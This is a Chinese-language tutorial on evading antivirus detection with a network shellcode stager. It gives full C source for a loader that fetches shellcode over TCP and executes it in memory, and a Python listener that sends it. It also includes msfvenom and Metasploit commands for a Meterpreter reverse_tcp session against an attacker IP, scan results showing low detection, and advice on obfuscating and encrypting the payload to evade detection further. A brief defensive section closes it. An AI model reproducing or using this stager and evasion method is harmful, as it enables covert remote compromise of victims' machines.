Shellcode另类使用方式
字数 2097 2025-08-25 22:58:47
Shellcode另类使用方式教学文档
0x00 概述
本文介绍一种通过"小马"方式执行Shellcode的技术,该方法可以有效绕过杀毒软件的检测。核心思想是将有害的Shellcode与无害的载体程序分离,通过网络传输动态执行,从而降低被检测的风险。
0x01 技术原理
1.1 类比Web渗透中的大小马
- 在Web渗透中,当上传点限制文件大小时,会先上传小马,再通过小马上传功能更全的大马
- 类似地,在二进制渗透中:
- "小马":无害的Shellcode接收程序
- "大马":实际的恶意Shellcode
- 通过小马动态接收并执行大马,避免直接上传完整的恶意程序
1.2 技术优势
- 分离执行:Shellcode不直接存在于磁盘文件中
- 动态加载:通过网络传输实时获取Shellcode
- 内存执行:避免写入磁盘被静态扫描
- 灵活更换:可随时更换不同的Shellcode而不需重新编译
0x02 小马程序实现
2.1 小马程序源码分析
#include <stdio.h>
#include <winsock2.h>
#include <Windows.h>
#pragma comment (lib, "ws2_32")
typedef struct sockaddr_in sockaddr_in;
int sock_shellcode(char *shellcodes) {
char *shellcode = shellcodes;
DWORD why_must_this_variable;
BOOL ret = VirtualProtect(shellcode, strlen(shellcode),
PAGE_EXECUTE_READWRITE, &why_must_this_variable);
if (!ret) {
return 0;
}
((void (*)(void))shellcode)();
return 0;
}
int main() {
Sleep(2000);
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr_in sockaddr;
sockaddr.sin_family = AF_INET;
sockaddr.sin_port = htons(4444);
sockaddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
connect(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR));
while(TRUE) {
char buffer[4096];
recv(s, buffer, 4096, NULL);
if (buffer == NULL) {
continue;
} else {
sock_shellcode(buffer);
printf("things end up");
closesocket(s);
WSACleanup();
getchar();
exit(0);
}
}
}
2.2 关键功能解析
-
网络连接部分:
- 创建Socket连接远程IP和端口(默认127.0.0.1:4444)
- 使用TCP协议进行通信
-
Shellcode接收与执行:
- 创建4096字节的缓冲区接收网络数据
- 通过
sock_shellcode函数执行接收到的Shellcode - 使用
VirtualProtect修改内存属性为可执行 - 通过函数指针直接执行Shellcode
-
内存保护:
VirtualProtect将Shellcode所在内存区域设置为PAGE_EXECUTE_READWRITE- 确保Shellcode可以被正确执行
2.3 编译注意事项
- 使用GCC编译器编译:
gcc temp.c -o test.exe - 编译器选择对免杀效果有显著影响
- 测试表明GCC编译的版本仅有5%杀毒软件报毒
0x03 Shellcode发送端实现
3.1 Python发送端代码
#-*- coding: utf-8 -*-
import os,sys
from socket import *
HOST = '0.0.0.0'
PORT = 4444
BUFSIZ = 2048
ADDR = (HOST, PORT)
sock = socket(AF_INET, SOCK_STREAM)
sock.bind(ADDR)
sock.listen(1)
STOP_CHAT = False
print "Hander Listening %s port:%s" %(HOST,PORT)
while not STOP_CHAT:
tcpClientSock, addr = sock.accept()
print('Start Listening %s port %s' % (addr,PORT))
while True:
p = raw_input("send:> ")
if p == "send":
data = "\x33\xc9\x64...\x03" # 此处放置Shellcode
try:
tcpClientSock.send(data)
if data.upper() == "QUIT":
STOP_CHAT = True
break
os_result = tcpClientSock.recv(BUFSIZ)
except:
tcpClientSock.close()
break
if STOP_CHAT:
break
print(os_result)
tcpClientSock.close()
sock.close()
3.2 发送端功能说明
- 监听4444端口等待小马连接
- 接收用户输入,当输入"send"时发送预设的Shellcode
- 支持交互式操作,可随时发送新的Shellcode
- 可扩展为批量发送或分片发送大体积Shellcode
0x04 实际应用示例
4.1 测试环境
- 攻击机:Kali Linux (192.168.19.128)
- 目标机:Windows 7 (127.0.0.1)
4.2 测试流程
-
生成Shellcode:
- 使用msfvenom生成MessageBox弹窗Shellcode
- 或生成Meterpreter反向连接Shellcode
-
配置发送端:
- 将生成的Shellcode放入Python发送端的data变量
- 修改IP和端口为目标机信息
-
执行小马程序:
- 在目标机运行编译好的test.exe
- 程序会自动连接发送端
-
发送Shellcode:
- 在发送端输入"send"命令
- Shellcode通过网络传输到目标机并执行
-
验证效果:
- 对于MessageBox Shellcode:观察是否弹出指定窗口
- 对于Meterpreter Shellcode:检查Kali是否获得会话
4.3 Metasploit集成
- 使用
msfvenom生成reverse_tcp Shellcode:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.19.128 LPORT=4444 -f py - 在Kali设置监听:
msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.19.128 set LPORT 4444 exploit - 将生成的Shellcode放入发送端,执行后即可获得Meterpreter会话
0x05 免杀效果分析
5.1 杀毒软件检测结果
- VirSCAN.org测试结果:39款杀毒引擎中仅2款报毒(5%)
- 报毒引擎:
- ClamAV: PUA.Win.Packer.MingwGcc-3
- F-PROT: W32/Felix:CO:VC!Eldorado
5.2 提升免杀效果的建议
-
编译器选择:
- 测试表明不同编译器效果差异大
- 某些编译器编译版本可完全免杀
-
代码混淆:
- 添加无害代码增加分析难度
- 使用宏定义隐藏关键函数调用
-
通信加密:
- 对传输的Shellcode进行加密
- 使用SSL/TLS加密通信通道
-
分片传输:
- 对大体积Shellcode分片发送
- 在内存中重组执行
0x06 防御措施
6.1 检测方法
-
网络监控:
- 检测异常的外连行为
- 监控可疑的端口连接
-
内存监控:
- 检测动态内存属性修改
- 监控异常的可执行内存区域
-
行为分析:
- 检测程序接收网络数据后直接执行的行为
- 分析VirtualProtect的异常使用
6.2 防护建议
- 启用高级内存保护机制(如DEP)
- 限制应用程序的网络连接能力
- 使用具备行为监控的终端防护软件
- 定期审计系统可疑进程
0x07 总结
本文介绍的技术通过分离Shellcode与载体程序,利用网络动态传输执行的方式,有效绕过了传统杀毒软件的静态检测。该方法的优势在于:
- 不依赖复杂的Shellcode混淆/加密技术
- 可随时更换不同功能的Shellcode
- 在目标系统不留存完整的恶意文件
- 实际测试中具有较高的免杀率
在实际渗透测试中,可以结合此技术与其它免杀手段,提高攻击成功率。同时,防御方也应加强对这类动态攻击的检测能力。